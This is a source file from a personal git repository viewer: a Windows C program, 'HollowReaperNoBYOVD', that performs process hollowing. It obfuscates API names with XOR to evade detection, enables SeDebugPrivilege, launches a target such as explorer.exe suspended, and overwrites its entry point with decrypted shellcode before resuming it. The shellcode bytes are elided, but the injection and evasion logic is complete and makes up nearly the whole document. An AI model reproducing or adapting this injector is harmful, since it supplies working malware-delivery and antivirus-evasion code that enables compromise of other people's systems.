etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

HollowReaperNoBYOVD.c (11080B)

      1 /*
      2     Author: vari.sh
      3     Description:
      4        - This program implements process hollowing (it creates a suspended process,
      5          injects a deobfuscated shellcode via XOR, and then resumes the thread).       
      6 
      7     Usage: HollowReaperNoBYOVD.exe "C:\windows\explorer.exe"
      8 
      9 */
     10 
     11 #define _CRT_SECURE_NO_WARNINGS
     12 #include <windows.h>
     13 #include <psapi.h>
     14 #include <stdio.h>
     15 #include <stdlib.h>
     16 #include <stdarg.h>
     17 #include <string.h>
     18 #include <tlhelp32.h>
     19 
     20 // =====================================================
     21 // API Deobfuscation Functions (XOR)
     22 // =====================================================
     23 
     24 // Function to decrypt a string (encrypted data is not null-terminated)
     25 char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
     26 {
     27     char* result = (char*)malloc(len + 1);
     28     if (!result) return NULL;
     29     for (size_t i = 0; i < len; i++) {
     30         result[i] = cipher[i] ^ key[i % key_len];
     31     }
     32     result[len] = '\0';
     33     return result;
     34 }
     35 
     36 // Function to decrypt a buffer in-place (e.g., for shellcode)
     37 void xor_decrypt_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len)
     38 {
     39     for (size_t i = 0; i < len; i++) {
     40         buffer[i] ^= key[i % key_len];
     41     }
     42 }
     43 
     44 // 1. "CreateProcessW" (14 characters)
     45 static const unsigned char CPW_ENC[] = {
     46     0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33
     47 };
     48 // 2. "ReadProcessMemory" (17 characters)
     49 static const unsigned char RPM_ENC[] = {
     50     0x62, 0x54, 0x53, 0x57, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x2F, 0x06, 0x09, 0x0A, 0x14, 0x1E
     51 };
     52 // 3. "WriteProcessMemory" (18 characters)
     53 static const unsigned char WPM_ENC[] = {
     54     0x67, 0x43, 0x5B, 0x47, 0x51, 0x65, 0x44, 0x58, 0x5B, 0x5C, 0x12, 0x11, 0x2E, 0x01, 0x08, 0x09, 0x15, 0x11
     55 };
     56 // 4. "ResumeThread" (12 characters)
     57 static const unsigned char RT_ENC[] = {
     58     0x62, 0x54, 0x41, 0x46, 0x59, 0x50, 0x62, 0x5F, 0x4A, 0x5C, 0x00, 0x06
     59 };
     60 // 5. "ZwQueryInformationProcess" (25 characters)
     61 static const unsigned char ZQIP_ENC[] = {
     62     0x6A, 0x46, 0x63, 0x46, 0x51, 0x47, 0x4F, 0x7E, 0x56, 0x5F, 0x0E, 0x10, 0x0E, 0x05, 0x11,
     63     0x0F, 0x08, 0x06, 0x39, 0x18, 0x5F, 0x52, 0x57, 0x40, 0x47
     64 };
     65 
     66 typedef BOOL(WINAPI* PFN_CPW)(
     67     LPCWSTR lpApplicationName,
     68     LPWSTR lpCommandLine,
     69     LPSECURITY_ATTRIBUTES lpProcessAttributes,
     70     LPSECURITY_ATTRIBUTES lpThreadAttributes,
     71     BOOL bInheritHandles,
     72     DWORD dwCreationFlags,
     73     LPVOID lpEnvironment,
     74     LPCWSTR lpCurrentDirectory,
     75     LPSTARTUPINFOW lpStartupInfo,
     76     LPPROCESS_INFORMATION lpProcessInformation
     77     );
     78 
     79 typedef BOOL(WINAPI* PFN_RPM)(
     80     HANDLE hProcess,
     81     LPCVOID lpBaseAddress,
     82     LPVOID lpBuffer,
     83     SIZE_T nSize,
     84     SIZE_T* lpNumberOfBytesRead
     85     );
     86 
     87 typedef BOOL(WINAPI* PFN_WPM)(
     88     HANDLE hProcess,
     89     LPVOID lpBaseAddress,
     90     LPCVOID lpBuffer,
     91     SIZE_T nSize,
     92     SIZE_T* lpNumberOfBytesWritten
     93     );
     94 
     95 typedef DWORD(WINAPI* PFN_RT)(HANDLE hThread);
     96 
     97 typedef LONG NTSTATUS;
     98 typedef NTSTATUS(WINAPI* PFN_ZQIP)(
     99     HANDLE ProcessHandle,
    100     ULONG ProcessInformationClass,
    101     PVOID ProcessInformation,
    102     ULONG ProcessInformationLength,
    103     PULONG ReturnLength
    104     );
    105 
    106 wchar_t* to_wide(const char* str) {
    107     int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
    108     if (len == 0) return NULL;
    109     wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t));
    110     if (!wstr) return NULL;
    111     MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);
    112     return wstr;
    113 }
    114 
    115 // =====================================================
    116 // Function to load clean versions of DLLs
    117 // =====================================================
    118 HMODULE LoadCleanDLL(char* dllPath) {
    119 
    120     HMODULE hDLL = LoadLibraryA(dllPath);
    121     if (hDLL)
    122     {
    123         printf("[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL);
    124     }
    125     else
    126     {
    127         printf("[!] Failed to load %s. Error: %lu\n", dllPath, GetLastError());
    128     }
    129 
    130     return hDLL;
    131 }
    132 
    133 // =====================================================
    134 // Main – Process Hollowing
    135 // =====================================================
    136 int main(int argc, char* argv[]) {
    137     // Start
    138     printf("[+] Starting HollowReaper\n");
    139 
    140     // Enabling SeDebugPrivilege
    141     HANDLE hToken = NULL;
    142     LUID luid;
    143     TOKEN_PRIVILEGES tp;
    144     BOOL bResult;
    145 
    146     printf("[*] Requesting SeDebugPrivilege...\n");
    147     if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
    148         printf("[!] OpenProcessToken failed, error: %lu\n", GetLastError());
    149         return 1;
    150     }
    151     if (!LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid)) {
    152         printf("[!] LookupPrivilegeValue failed, error: %lu\n", GetLastError());
    153         return 1;
    154     }
    155     tp.PrivilegeCount = 1;
    156     tp.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
    157     tp.Privileges->Luid = luid;
    158     if (!AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL)) {
    159         printf("[!] AdjustTokenPrivileges failed, error: %lu\n", GetLastError());
    160         return 1;
    161     }
    162     if (GetLastError() != ERROR_SUCCESS) {
    163         printf("[!] AdjustTokenPrivileges reported an error: %lu\n", GetLastError());
    164         return 1;
    165     }
    166     printf("[+] SeDebugPrivilege enabled.\n");
    167 
    168     // Load clean versions of DLLs
    169     char* kernel32Path = "C:\\Windows\\System32\\kernel32.dll";
    170     HANDLE hKernel32 = LoadCleanDLL(kernel32Path);
    171 
    172     char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll";
    173     HANDLE hNtdll = LoadCleanDLL(ntdllPath);
    174 
    175     const char* XOR_KEY = "0123456789abcdefghij";
    176     size_t key_len = strlen(XOR_KEY);
    177 
    178     char* strCPW = (char*)malloc(sizeof(CPW_ENC));
    179     char* strRPM = (char*)malloc(sizeof(RPM_ENC));
    180     char* strWPM = (char*)malloc(sizeof(WPM_ENC));
    181     char* strRT = (char*)malloc(sizeof(RT_ENC));
    182     char* strZQIP = (char*)malloc(sizeof(ZQIP_ENC));
    183     if (!strCPW || !strRPM || !strWPM || !strRT || !strZQIP) {
    184         printf("[!] Memory allocation error\n");
    185         return 1;
    186     }
    187     memcpy(strCPW, CPW_ENC, sizeof(CPW_ENC));
    188     memcpy(strRPM, RPM_ENC, sizeof(RPM_ENC));
    189     memcpy(strWPM, WPM_ENC, sizeof(WPM_ENC));
    190     memcpy(strRT, RT_ENC, sizeof(RT_ENC));
    191     memcpy(strZQIP, ZQIP_ENC, sizeof(ZQIP_ENC));
    192     // Deobfuscate API names
    193     strCPW = xor_decrypt_string((unsigned char*)strCPW, sizeof(CPW_ENC), XOR_KEY, key_len);
    194     strRPM = xor_decrypt_string((unsigned char*)strRPM, sizeof(RPM_ENC), XOR_KEY, key_len);
    195     strWPM = xor_decrypt_string((unsigned char*)strWPM, sizeof(WPM_ENC), XOR_KEY, key_len);
    196     strRT = xor_decrypt_string((unsigned char*)strRT, sizeof(RT_ENC), XOR_KEY, key_len);
    197     strZQIP = xor_decrypt_string((unsigned char*)strZQIP, sizeof(ZQIP_ENC), XOR_KEY, key_len);
    198 
    199     PFN_CPW pCPW = (PFN_CPW)GetProcAddress(hKernel32, strCPW);
    200     PFN_RPM pRPM = (PFN_RPM)GetProcAddress(hKernel32, strRPM);
    201     PFN_WPM pWPM = (PFN_WPM)GetProcAddress(hKernel32, strWPM);
    202     PFN_RT  pRT = (PFN_RT)GetProcAddress(hKernel32, strRT);
    203     PFN_ZQIP pZQIP = (PFN_ZQIP)GetProcAddress(hNtdll, strZQIP);
    204     if (!pCPW || !pRPM || !pWPM || !pRT || !pZQIP) {
    205         printf("[!] Error retrieving API addresses.\n");
    206         return 1;
    207     }
    208     free(strCPW); free(strRPM); free(strWPM); free(strRT); free(strZQIP);
    209 
    210     // Obtain the target executable path (from command line or stdin)
    211     char exePathA[MAX_PATH] = { 0 };
    212     if (argc > 1) {
    213         strncpy(exePathA, argv[1], MAX_PATH - 1);
    214         printf("[+] Path provided from command line: %s\n", exePathA);
    215     }
    216     else {
    217         printf("[*] Enter the full path of the executable: ");
    218         if (!fgets(exePathA, sizeof(exePathA), stdin)) {
    219             printf("[!] Error reading the path.\n");
    220             return 1;
    221         }
    222         exePathA[strcspn(exePathA, "\r\n")] = '\0';
    223     }
    224     if (strlen(exePathA) == 0) {
    225         printf("[!] Invalid path!\n");
    226         return 1;
    227     }
    228     wchar_t* exePathW = to_wide(exePathA);
    229     if (!exePathW) {
    230         printf("[!] Error converting the path to Unicode.\n");
    231         return 1;
    232     }
    233 
    234     // Create the process in a suspended state
    235 
    236     STARTUPINFOW si;
    237     PROCESS_INFORMATION pi;
    238     ZeroMemory(&si, sizeof(si));
    239     si.cb = sizeof(si);
    240     ZeroMemory(&pi, sizeof(pi));
    241     if (!pCPW(exePathW, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
    242         printf("[!] Error creating the process, code: %lu\n", GetLastError());
    243         free(exePathW);
    244         return 1;
    245     }
    246     free(exePathW);
    247     printf("[+] Process created in suspended state, PID: %lu\n", pi.dwProcessId);
    248 
    249 
    250 
    251     // Retrieve the PEB via ZwQueryInformationProcess
    252     typedef struct _PROCESS_BASIC_INFORMATION {
    253         PVOID ExitStatus;
    254         PVOID PebBaseAddress;
    255         PVOID AffinityMask;
    256         PVOID BasePriority;
    257         ULONG_PTR UniqueProcessId;
    258         PVOID InheritedFromUniqueProcessId;
    259     } PROCESS_BASIC_INFORMATION;
    260     PROCESS_BASIC_INFORMATION pbi;
    261     ULONG retLen = 0;
    262     NTSTATUS ntStatus = pZQIP(pi.hProcess, 0, &pbi, sizeof(pbi), &retLen);
    263     if (ntStatus != 0) {
    264         printf("[!] ZwQueryInformationProcess failed, NTSTATUS: 0x%lX\n", ntStatus);
    265         return 1;
    266     }
    267     printf("[*] The process's PEB is located at: %p\n", pbi.PebBaseAddress);
    268 
    269     // Read the ImageBaseAddress from the PEB
    270     LPVOID imageBaseAddress = NULL;
    271     SIZE_T bytesRead = 0;
    272     LPCVOID addrImageBase = (LPCVOID)((char*)pbi.PebBaseAddress + 0x10);
    273     if (!pRPM(pi.hProcess, addrImageBase, &imageBaseAddress, sizeof(imageBaseAddress), &bytesRead)) {
    274         printf("[!] ReadProcessMemory (ImageBaseAddress) failed, error: %lu\n", GetLastError());
    275         return 1;
    276     }
    277     printf("[*] The Image Base Address is: %p\n", imageBaseAddress);
    278 
    279     // Read the PE header to obtain the EntryPoint
    280     unsigned char headerBuffer[0x200] = { 0 };
    281     if (!pRPM(pi.hProcess, imageBaseAddress, headerBuffer, sizeof(headerBuffer), &bytesRead)) {
    282         printf("[!] ReadProcessMemory (PE header) failed, error: %lu\n", GetLastError());
    283         return 1;
    284     }
    285     DWORD e_lfanew = *(DWORD*)(headerBuffer + 0x3C);
    286     DWORD entryPointRVA = *(DWORD*)(headerBuffer + e_lfanew + 0x28);
    287     LPVOID entryPointAddr = (LPVOID)((char*)imageBaseAddress + entryPointRVA);
    288     printf("[*] The process EntryPoint is: %p\n", entryPointAddr);
    289 
    290     // Prepare and write the shellcode (deobfuscated via XOR) into the EntryPoint
    291     unsigned char shellcode_enc[] = {
    292         0xD8, 0xF1, 0x67, 0x33, ...
    293     };
    294     size_t shellcode_len = sizeof(shellcode_enc);
    295     // Deobfuscate the shellcode
    296     xor_decrypt_buffer(shellcode_enc, shellcode_len, XOR_KEY, key_len);
    297     SIZE_T bytesWritten = 0;
    298     if (!pWPM(pi.hProcess, entryPointAddr, shellcode_enc, shellcode_len, &bytesWritten)) {
    299         printf("[!] WriteProcessMemory failed, error: %lu\n", GetLastError());
    300         return 1;
    301     }
    302     printf("[+] Shellcode written at the EntryPoint.\n");
    303 
    304 
    305     // Resume the suspended process thread
    306     DWORD suspendCount = pRT(pi.hThread);
    307     printf("[+] Thread resumed, suspend count: %lu\n", suspendCount);
    308 
    309     // Cleanup: close handles
    310     CloseHandle(pi.hThread);
    311     CloseHandle(pi.hProcess);
    312 
    313     printf("[+] Operation completed.\n");
    314     return 0;
    315 }